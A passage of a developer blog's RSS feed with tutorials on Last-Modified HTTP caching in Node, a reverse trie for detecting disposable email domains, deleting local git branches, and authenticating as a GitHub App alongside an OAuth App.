export function to(promise) {
  return promise.then((res) =&amp;gt; [res, null]).catch((err) =&amp;gt; [null, err]);
}

export async function getView(name) {
  const filepath = path.resolve(
	process.cwd(),
	&quot;src&quot;,
	&quot;views&quot;,
	name + &quot;.html&quot;
  );
  return await to(fs.readFile(filepath, &quot;utf-8&quot;));
}

export async function getViewStats(name) {
  const filepath = path.resolve(process.cwd(), &quot;src&quot;, &quot;views&quot;, name + &quot;.html&quot;);
  return await to(fs.stat(filepath));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add an HTML file at &lt;code&gt;src/views/index.html&lt;/code&gt;. Its content is irrelevant.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;No Headers - Endpoint&lt;/h2&gt;
&lt;p&gt;It simply reads the file and sends it to the requester. Apart from the &lt;code&gt;Content-Type&lt;/code&gt;, &lt;strong&gt;no caching-related header is added&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { getView } from &quot;./utils.mjs&quot;;

export default async (req, res) =&amp;gt; {
  res.setHeader(&quot;Content-Type&quot;, &quot;text/html&quot;);

  const [html, err] = await getView(&quot;index&quot;);
  if (err) {
	res.writeHead(500).end(&quot;Internal Server Error&quot;);
	return;
  }

  res.writeHead(200).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start the server (&lt;code&gt;node index.mjs&lt;/code&gt;), open &lt;code&gt;/no-headers&lt;/code&gt;, and check the &lt;em&gt;developer tools &amp;gt; network&lt;/em&gt; tab. Enable &lt;em&gt;preserver log&lt;/em&gt; and hit &lt;em&gt;refresh&lt;/em&gt; a few times.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cedlmzm4eouu5czb2psf.png&quot; alt=&quot;Developer tool&apos;s network tab that shows the document never being cached, always being fetched.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Open any of them, and check the &lt;code&gt;Response Headers&lt;/code&gt; - there is nothing related to caching, and the browser obeys.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: text/html
Date: &amp;lt;date&amp;gt;
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified&quot;&gt;Last-Modified&lt;/a&gt; - Endpoint&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://httpwg.org/specs/rfc9110.html#field.last-modified&quot;&gt;Spec&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Create a new endpoint (to be registered at the url &lt;code&gt;/last-modified&lt;/code&gt;). It reads the &lt;strong&gt;modification time&lt;/strong&gt; of the file (&lt;code&gt;mtime&lt;/code&gt;) and adds it &lt;strong&gt;formatted as UTC under the &lt;code&gt;Last-Modified&lt;/code&gt; header&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { getView, getViewStats } from &quot;./utils.mjs&quot;;

export default async (req, res) =&amp;gt; {
  res.setHeader(&quot;Content-Type&quot;, &quot;text/html&quot;);

  const [stats, errStats] = await getViewStats(&quot;index&quot;);
  if (errStats) {
	res.writeHead(500).end(&quot;Internal Server Error&quot;);
	return;
  }

  const lastModified = new Date(stats.mtime);
  res.setHeader(&quot;Last-Modified&quot;, lastModified.toUTCString());

  const [html, errGet] = await getView(&quot;index&quot;);
  if (errGet) {
	res.writeHead(500).end(&quot;Internal Server Error&quot;);
	return;
  }

  res.writeHead(200).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In fact, among the response headers to &lt;code&gt;/last-modified&lt;/code&gt;, you find:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Last-Modified: Thu, 15 Nov 2023 19:18:46 GMT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyway, if you refresh the page, &lt;em&gt;the entire resource is still downloaded&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Yet something changed - the browser found &lt;code&gt;Last-Modified&lt;/code&gt;, so it reuses the value for the &lt;strong&gt;&lt;code&gt;If-Modified-Since&lt;/code&gt; Request Header&lt;/strong&gt;. The serve receives that value and, if the condition is found to be not true (not modified since), returns the status &lt;strong&gt;304 Not Modified&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { getView, getViewStats } from &quot;./utils.mjs&quot;;

export default async (req, res) =&amp;gt; {
  res.setHeader(&quot;Content-Type&quot;, &quot;text/html&quot;);

  const [stats, _] = await getViewStats(&quot;index&quot;);

  const lastModified = new Date(stats.mtime);
  lastModified.setMilliseconds(0); // IMPORTANT
  res.setHeader(&quot;Last-Modified&quot;, lastModified.toUTCString());

  const ifModifiedSince = new Headers(req.headers).get(&quot;If-Modified-Since&quot;);
  if (
	ifModifiedSince &amp;amp;&amp;amp;
	new Date(ifModifiedSince).getTime() &amp;gt;= lastModified.getTime()
  ) {
	res.writeHead(304).end();
	return;
  }

  // This is done ONLY IF it was not a 304!
  const [html, _] = await getView(&quot;index&quot;);

  res.writeHead(200, headers).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By spec &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified&quot;&gt;Last-Modified&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Response Header &lt;code&gt;Last-Modified&lt;/code&gt; is always added, even in the case of &lt;code&gt;304 Not Modified&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The Request Header &lt;code&gt;if-modified-since&lt;/code&gt; may not be present - definitely happens on the first call from a new client.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most importantly, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified#gmt&quot;&gt;HTTP dates are always expressed in GMT, never in local time&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While formatting a date using &lt;code&gt;toUTCString&lt;/code&gt;, you may observe that the resulting string loses information about milliseconds. However &lt;code&gt;mtime&lt;/code&gt; retains millisecond precision - it may have a few milliseconds more than the value received from the client, which, after formatting, loses those milliseconds.&lt;/p&gt;
&lt;p&gt;To ensure a valid comparison between the two values, it becomes necessary to remove the milliseconds from the &lt;code&gt;mtime&lt;/code&gt; before performing the comparison.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;lastModified.setMilliseconds(0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, request the resource few times.
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yhz47pkuriigk9djjgyq.png&quot; alt=&quot;Developer tool&apos;s network tab that shows the document being cached after the first retrieval&quot; /&gt;
Now, just go and update the HTML file. Then ask the browser to refresh and expect to receive a &lt;code&gt;200 OK&lt;/code&gt; Response.
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p3b3oqc4scysqa32bny6.png&quot; alt=&quot;Developer tool&apos;s network tab that shows the browser newly fetching the resource after it has been modified.&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;It&apos;s essential to recognize that the &lt;strong&gt;304 response is consistently more lightweight than the 200 response&lt;/strong&gt;. Beyond just the reduced data payload, it contributes to a &lt;strong&gt;decrease in server load&lt;/strong&gt;. This optimization extends beyond mere HTML file reads and can apply to any intricate or resource-intensive operation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Last-Modified&lt;/code&gt; is a &lt;strong&gt;weak caching header&lt;/strong&gt;, as the browser applies a heuristic to determine whether to fetch the item from the cache or not. Heuristics vary between browsers.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>How to Use a Reverse Trie for Fast Disposable Email Domain Detection</title><link>https://didof.dev/blog/reverse-trie-for-fast-disposable-email-domain-detection/</link><guid isPermaLink="true">https://didof.dev/blog/reverse-trie-for-fast-disposable-email-domain-detection/</guid><description>Learn how to use a reverse Trie to efficiently detect disposable email domains. Optimize your domain lookups with a scalable, memory-efficient solution tailored for fast and precise results.</description><pubDate>Mon, 05 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;a href=&quot;/free-tools/disposable-email-domain-detector&quot; class=&quot;not-prose&quot; size=&quot;lg&quot;&amp;gt;Go to the free tool&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;Disposable emails can cause issues like fake signups and spam. The user grabs an address from one of thousands of temporary email generators and hands it over. Not even the &lt;a href=&quot;https://emailregex.com/&quot;&gt;GOAT email regex&lt;/a&gt; can save you here.&lt;/p&gt;
&lt;p&gt;Personally, I find having a big list of all disposable email domains is the easiest yet most effective solution. But before you assemble that list and start a for ... of loop to check against it, think of the O(n) complexity!&lt;/p&gt;
&lt;p&gt;A great way to identify them is by using a &lt;strong&gt;reverse Trie&lt;/strong&gt;, an efficient data structure for fast lookups.&lt;/p&gt;
&lt;h2&gt;What Is a Reverse Trie?&lt;/h2&gt;
&lt;p&gt;First, let&apos;s grasp what a Trie is. It is a data structure where strings are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chopped up, char per char&lt;/li&gt;
&lt;li&gt;assembled in a tree structure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;example, if we feed &lt;code&gt;boa&lt;/code&gt;, &lt;code&gt;bro&lt;/code&gt;, &lt;code&gt;brie&lt;/code&gt;, it would assemble them using Map as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b
 ├── o ── a
 └── r ── o  
     └─── i ── e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach allows direct lookups without cycling through the entire list. Each character guides the search deeper.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;It trades memory for efficiency&lt;/strong&gt;. The time it takes to find the string does not depend on the size of the list, but on the length of the string!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A &lt;strong&gt;reverse Trie&lt;/strong&gt; stores strings in reverse order, ideal for domains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mailinator.com&lt;/code&gt; becomes &lt;code&gt;moc.rotanliam&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trashmail.com&lt;/code&gt; becomes &lt;code&gt;moc.liambhsart&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Note on This Implementation&lt;/h3&gt;
&lt;p&gt;By reversing domains, searches start at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Top-level_domain&quot;&gt;TLD&lt;/a&gt; (e.g., &lt;code&gt;.com&lt;/code&gt;), which is shared across many domains. To optimize further, it stores &lt;code&gt;TLD&lt;/code&gt;s as a single key (&lt;code&gt;com&lt;/code&gt;), rather than splitting them into characters. The rest of the domain follows a standard Trie structure.&lt;/p&gt;
&lt;h2&gt;Reverse Trie Domains Implementation&lt;/h2&gt;
&lt;p&gt;Since this is a tree structure, each node will reference its children:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TrieNode = Map&amp;lt;string, TrieNode&amp;gt;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, a utility function to split the TLD from the rest of the domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private splitTLDFromRest(input: string) {
    const dot = input.lastIndexOf(&apos;.&apos;);
    const TLD = input.substring(dot + 1);
    const rest = input.substring(0, dot);
    return [TLD, rest];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Using &lt;code&gt;lastIndexOf&lt;/code&gt; ensures subdomains like &lt;code&gt;foo.bar.baz.com&lt;/code&gt; are handled correctly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Next, the constructor will assemble the Trie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class ReverseTrieDomains {
	private root: TrieNode = new Map();

	// ...

	constructor(...domains: string[]) {
		for (const domain of domains) {
			// For &quot;didof.dev&quot;
			const [TLD, rest] = this.splitTLDFromRest(domain);
			// dev, didof

			// Keep the refence to the TLD node for final set
			let node = this.root.get(TLD);
			if (!node) node = new Map();

			// Start from TLD node, walk along the string in reverse
			let currentNode: TrieNode = node;
			for (let i = rest.length - 1; i &amp;gt;= 0; i--) {
				const char = rest[i];
				let childNode = currentNode.get(char);
				if (!childNode) {
					childNode = new Map();
					currentNode.set(char, childNode);
				}
				currentNode = childNode;
			}

			this.root.set(TLD, node);
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To check if a domain is disposable, traverse the Trie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class ReverseTrieDomains {
	// ...

	public has(domain: string) {
        const [TLD, rest] = this.splitTLDFromRest(domain)

        const node = this.root.get(TLD)
        if (!node) return false

        let currentNode: TrieNode = node
        let isFullDomainFound = false
        for (let i = rest.length - 1; i &amp;gt;= 0; i--) {
            const char = rest[i]
            const childNode = currentNode.get(char)
            console.log(i, char, childNode)
            if (!childNode) return false
            currentNode = childNode
            if (i === 0) {
                isFullDomainFound = currentNode.size === 0;
            }
        }

        return isFullDomainFound
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Using a reverse Trie offers several benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fast Lookups&lt;/strong&gt;: Traverse characters step-by-step for quick results.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memory Efficiency&lt;/strong&gt;: Common suffixes like &lt;code&gt;.com&lt;/code&gt; are stored only once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scalability&lt;/strong&gt;: Handles large domain lists effortlessly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’re dealing with disposable emails, this is a smart, scalable solution to implement.&lt;/p&gt;
</content:encoded></item><item><title>How to Safely Delete All Local Git Branches</title><link>https://didof.dev/blog/cleanup-local-git-branches/</link><guid isPermaLink="true">https://didof.dev/blog/cleanup-local-git-branches/</guid><description>Learn how to quickly and safely remove all local Git branches except the ones you choose (like dev and main) using a simple one-liner command. This guide breaks down each part of the command, provides examples, and tips for a tidier Git workflow.</description><pubDate>Wed, 18 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cleaning up your local branches can make your workflow tidier and less confusing. If you want to delete all branches except ones you want to keep (for example, &lt;code&gt;dev&lt;/code&gt; and &lt;code&gt;main&lt;/code&gt;), you can do it with this one-liner:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch | grep -v &apos;dev&apos; | grep -v &apos;main&apos; | xargs git branch -D
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;What Each Part Does&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;git branch&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Lists all your local branches.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;terminal git:(dev) ✗ git branch
  bar
  baz
* dev
  foo
  main
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;grep -v &amp;lt;branch-you-want-to-keep&amp;gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Filters out (&lt;code&gt;-v&lt;/code&gt;) the branches named &lt;code&gt;dev&lt;/code&gt; or &lt;code&gt;main&lt;/code&gt; from the list, so they won&apos;t be deleted.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;terminal git:(dev) ✗ git branch | grep -v dev | grep -v main
  bar
  baz
  foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;xargs&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Takes each branch name from the filtered list and passes it to the next command.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;terminal git:(dev) ✗ git branch | grep -v dev | grep -v main | xargs
  bar baz foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;git branch -D&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Force-deletes (&lt;code&gt;-D&lt;/code&gt;) each branch given by &lt;code&gt;xargs&lt;/code&gt;.&lt;br /&gt;
&lt;em&gt;Warning: This will delete branches even if they haven’t been merged!&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;terminal git:(dev) ✗ git branch | grep -v dev | grep -v main | xargs | git branch -D
  Deleted branch bar (was &amp;lt;some-sha&amp;gt;).
  Deleted branch baz (was &amp;lt;some-sha&amp;gt;).
  Deleted branch foo (was &amp;lt;some-sha&amp;gt;).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a safer delete (only deletes merged branches), use &lt;code&gt;git branch -d&lt;/code&gt; instead of &lt;code&gt;git branch -D&lt;/code&gt;.&lt;/p&gt;
</content:encoded></item><item><title>GitHub App and OAuth ~ Disjointed flow</title><link>https://didof.dev/blog/github-app-oauth-disjointed-flow/</link><guid isPermaLink="true">https://didof.dev/blog/github-app-oauth-disjointed-flow/</guid><description>Discover how to integrate GitHub App functionality into an existing OAuth-based authentication system. This guide explains how to authenticate as a GitHub App using JWT, retrieve installation IDs, and access repositories associated with the app.</description><pubDate>Thu, 28 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a previous post we saw how it&apos;s possible to get information from the GitHub REST API about which repositories have our GitHub App installed. This allowes us to build something like the following component.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ep8jiy1t21yhnvmss0h3.png&quot; alt=&quot;Vercel&apos;s Import Git Repository component&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://vercel.com/new&quot;&gt;Vercel&lt;/a&gt;&apos;s Import Git Repository component&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since this data is related to a GitHub App, the necessary token is issued by the OAuth included in the GitHub App in question.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Q: My system is already based on authentication through an OAuth App, I cannot twist it! Also, we it is handled by a third-party (i.g. &lt;a href=&quot;https://stytch.com/&quot;&gt;Stytch&lt;/a&gt;). But still, the &lt;code&gt;access_token&lt;/code&gt; issued by an OAuth is not valid for the two endpoints!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A: There is a solution. It&apos;s slightly more expensive than the previous one, but it works.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Index&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#create-oauth-app-and-github-app&quot;&gt;Create OAuth App and GitHub App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#authenticate-as-github-app-via-jwt&quot;&gt;Authenticate as GitHub App via JWT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;get-installation_ids-of-the-github-app&quot;&gt;Get &lt;code&gt;installation_id&lt;/code&gt;s of the GitHub App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;get-github-app-access-tokens&quot;&gt;Get GitHub App&apos;s &lt;code&gt;access_token&lt;/code&gt;s&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;retrieve-eligible-repositories&quot;&gt;Retrieve eligible repositories&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#related-posts&quot;&gt;Related Posts&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;Create OAuth App and GitHub App &amp;lt;a href=&quot;create-oauth-app-and-github-app&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;Obviously it&apos;s necessary to &lt;a href=&quot;https://docs.github.com/en/developers/apps/building-oauth-apps/creating-an-oauth-app&quot;&gt;create the OAuth App&lt;/a&gt; and also &lt;a href=&quot;https://docs.github.com/en/developers/apps/building-github-apps/creating-a-github-app&quot;&gt;create the GitHub App&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1wbmhitw7yg6sdchgln4.png&quot; alt=&quot;GitHub OAuth App creation screen&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Homepage URL&lt;/strong&gt;: &lt;em&gt;http://localhost:3000&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Callback URL&lt;/strong&gt;: Where the provider should send back the user once the authentication flow is completed. You can pick any route, I&apos;m using &lt;em&gt;/oauth/github/login/callback&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finalize the creation. It has been assigned an &lt;em&gt;Client ID&lt;/em&gt; and it&apos;s possible to generate a &lt;em&gt;Client Secret&lt;/em&gt;. Please do it and keep them handy.&lt;/p&gt;
&lt;p&gt;Similar to how explained in the &lt;a href=&quot;https://dev.to/didof/github-app-and-oauth-practical-kick-starter-4df4&quot;&gt;previous post&lt;/a&gt;, you can get and preserve on the client the &lt;code&gt;access_token&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server.get(&quot;/oauth/github/login/callback&quot;, async (request, reply) =&amp;gt; {
  const { code } = request.query;

  const exchangeURL = new URL(&quot;login/oauth/access_token&quot;, &quot;https://github.com&quot;);
  exchangeURL.searchParams.set(&quot;client_id&quot;, process.env.CLIENT_ID);
  exchangeURL.searchParams.set(&quot;client_secret&quot;, process.env.CLIENT_SECRET);
  exchangeURL.searchParams.set(&quot;code&quot;, code);

  const response = await axios.post(exchangeURL.toString(), null, {
    headers: {
      Accept: &quot;application/json&quot;,
    },
  });

  const { access_token } = response.data;

  const redirectionURL = new URL(&quot;new&quot;, &quot;http://localhost:3000&quot;);
  redirectionURL.searchParams.set(&quot;access_token&quot;, access_token);

  reply.status(302).header(&quot;Location&quot;, redirectionURL).send();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Still, if you try to query the two endpoints that return the app installations and their repositories, you&apos;ll get a 403.&lt;/p&gt;
&lt;h2&gt;Endpoints&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/rest/apps/installations#list-app-installations-accessible-to-the-user-access-token&quot;&gt;/user/installations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/rest/apps/installations#list-repositories-accessible-to-the-user-access-token&quot;&gt;/user/installations/:installation_id/repositories&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We need another kind of &lt;code&gt;access_token&lt;/code&gt;, one which is &lt;em&gt;related to the GitHub App&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Therefore, create the GitHub App. This time you don&apos;t really need to assign any &lt;strong&gt;Callback URL&lt;/strong&gt; (but you may want to set a &lt;strong&gt;Setup URL&lt;/strong&gt;). For the purposes of this post, you are only interested in keeping track of the &lt;strong&gt;App ID&lt;/strong&gt; (About section of your GitHub App configuration page) and generating and storing on your &lt;em&gt;fs&lt;/em&gt; the &lt;strong&gt;Private Key&lt;/strong&gt; (at the bottom of the page).&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;generate-a-private-key&quot;&amp;gt;&amp;lt;/a&amp;gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qtepffu0p1wpw70rg8r7.png&quot; alt=&quot;Generate a private key&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Authenticate as GitHub App via JWT &amp;lt;a href=&quot;authenticate-as-github-app-via-jwt&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;As the &lt;a href=&quot;https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app&quot;&gt;official docs&lt;/a&gt; expain:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Authenticating as a GitHub App lets you do a couple of things [...] You can &lt;strong&gt;request access tokens for an installation of the app&lt;/strong&gt;. To authenticate as a GitHub App, generate a &lt;strong&gt;private key&lt;/strong&gt; in PEM format and download it to your local machine. You&apos;ll &lt;strong&gt;use this key to sign&lt;/strong&gt; a JSON Web Token (&lt;strong&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;JWT&lt;/a&gt;&lt;/strong&gt;) and encode it using the &lt;strong&gt;RS256 algorithm&lt;/strong&gt;. GitHub checks that the request is authenticated by verifying the token with the app&apos;s stored public key.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thus, the server may have a &lt;code&gt;/repos&lt;/code&gt; route which in turn &lt;strong&gt;generates the JWT&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const secret = fs.readFileSync(
  path.resolve(__dirname, &quot;.private-key.pem&quot;),
  &quot;utf-8&quot;
);

server.get(&quot;/repos&quot;, async (request, reply) =&amp;gt; {
  const now = Math.floor(Date.now() / 1000) - 60; // don&apos;t just use Date.now()

  const payload = jwt.sign(
    {
      iat: now - 60,
      exp: now + 10 * 60,
      iss: process.env.APP_ID,
    },
    secret,
    {
      algorithm: &quot;RS256&quot;,
    }
  );

  // ...
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And once the JWT is created, use it in the authentication header prefixed by &lt;code&gt;Bearer &lt;/code&gt; (differently from the majority of GitHub REST API&apos;s endpoint, whom request &lt;code&gt;token &lt;/code&gt;).&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Get &lt;code&gt;installation_id&lt;/code&gt;s of the GitHub App&lt;/h3&gt;
&lt;p&gt;&amp;lt;a href=&quot;get-installation_ids-of-the-github-app&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;The endpoint is &lt;a href=&quot;https://docs.github.com/en/rest/apps/apps#list-installations-for-the-authenticated-app&quot;&gt;/app/installations&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// still in /repos

const installations = await axios.get(
  `https://api/github.com/app/installations`,
  {
    headers: {
      Authorization: `Bearer ${payload}`,
    },
  }
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A list made of elements like to following is returned:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  id: 25061467,
  account: {
    login: &apos;&amp;lt;some-username&amp;gt;&apos;,
    ...
  },
  repository_selection: &apos;selected&apos;,
  access_tokens_url: &apos;https://api.github.com/app/installations/25061467/access_tokens&apos;,
  repositories_url: &apos;https://api.github.com/installation/repositories&apos;,
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need to filter in all items where &lt;code&gt;.account.login&lt;/code&gt; equals the user&apos;s personal account or one of the user&apos;s organizations. You may retrieve this infos via the &lt;a href=&quot;https://docs.github.com/en/rest/orgs/orgs#list-organizations-for-the-authenticated-user&quot;&gt;/user/org&lt;/a&gt;, &lt;strong&gt;keeping in mind to pass the &lt;code&gt;access_token&lt;/code&gt; retrieved via the OAuth app&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Basically, something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const relevantInstallations = installations.data.filter((installation) =&amp;gt; {
  return currentUserOrganizations.includes(installation.account.login);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Get GitHub App&apos;s &lt;code&gt;access_token&lt;/code&gt;s &amp;lt;a href=&quot;get-github-app-access-tokens&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;For each one of the installations relevant the our user (and all user&apos;s organizations), we request a GitHub App authenticated &lt;code&gt;access_token&lt;/code&gt; via the endpoint &lt;a href=&quot;https://docs.github.com/en/rest/apps/apps#create-an-installation-access-token-for-an-app&quot;&gt;/app/installations/:installation_id/access_tokens&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const promises = relevantInstallations.map((installation) =&amp;gt; {
    return axios.post(
      `https://api.github.com/app/installations/${installation_id}/access_tokens`,
      null,
      {
        headers: {
          Authorization: `Bearer ${payload}`,
        },
      }
    );
  });

// Parallel
const accessTokens = await axios.all(promises)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: instead of manually assembling the url, you could use the premade &lt;code&gt;installation.access_tokens_url&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;Retrieve eligible repositories &amp;lt;a href=&quot;retrieve-eligible-repositories&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;Iterate each &lt;code&gt;access_token&lt;/code&gt; and use it in the &lt;em&gt;Authorization header&lt;/em&gt; &lt;code&gt;token ${access_token}&lt;/code&gt; at the endpoint &lt;code&gt;/installation/repositories&lt;/code&gt; (&lt;code&gt;installation.repositories_url&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Note: for each access_token!
const response = await axios.get(
  &quot;https://api.github.com/installation/repositories&quot;,
  {
    headers: {
      Authorization: `token ${token}`, // not Bearer
    },
  }
);

const repositories = response.data.repositories;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Merge or organize all the received repositories and you&apos;re back to the first post situation. We got there by a transverse, slightly more strenuous route - nonetheless, we&apos;re reached the goal.&lt;/p&gt;
